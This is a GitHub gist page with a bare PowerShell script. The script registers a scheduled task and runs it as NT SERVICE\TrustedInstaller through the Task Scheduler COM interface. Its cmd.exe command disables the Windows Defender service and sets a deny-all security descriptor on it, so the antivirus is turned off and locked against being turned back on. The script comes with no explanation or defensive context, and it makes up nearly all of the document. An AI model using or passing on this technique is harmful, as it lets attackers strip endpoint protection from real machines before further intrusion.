-
-
Save itzdan/bc6b0f40ea2c44ad2f3cb8b8a173dba0 to your computer and use it in GitHub Desktop.
Something or other.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)' | |
| $a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline | |
| Register-ScheduledTask -TaskName 'TestTask' -Action $a | |
| $svc = New-Object -ComObject 'Schedule.Service' | |
| $svc.Connect() | |
| $user = 'NT SERVICE\TrustedInstaller' | |
| $folder = $svc.GetFolder('\') | |
| $task = $folder.GetTask('TestTask') | |
| $task.RunEx($null, 0, 0, $user) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment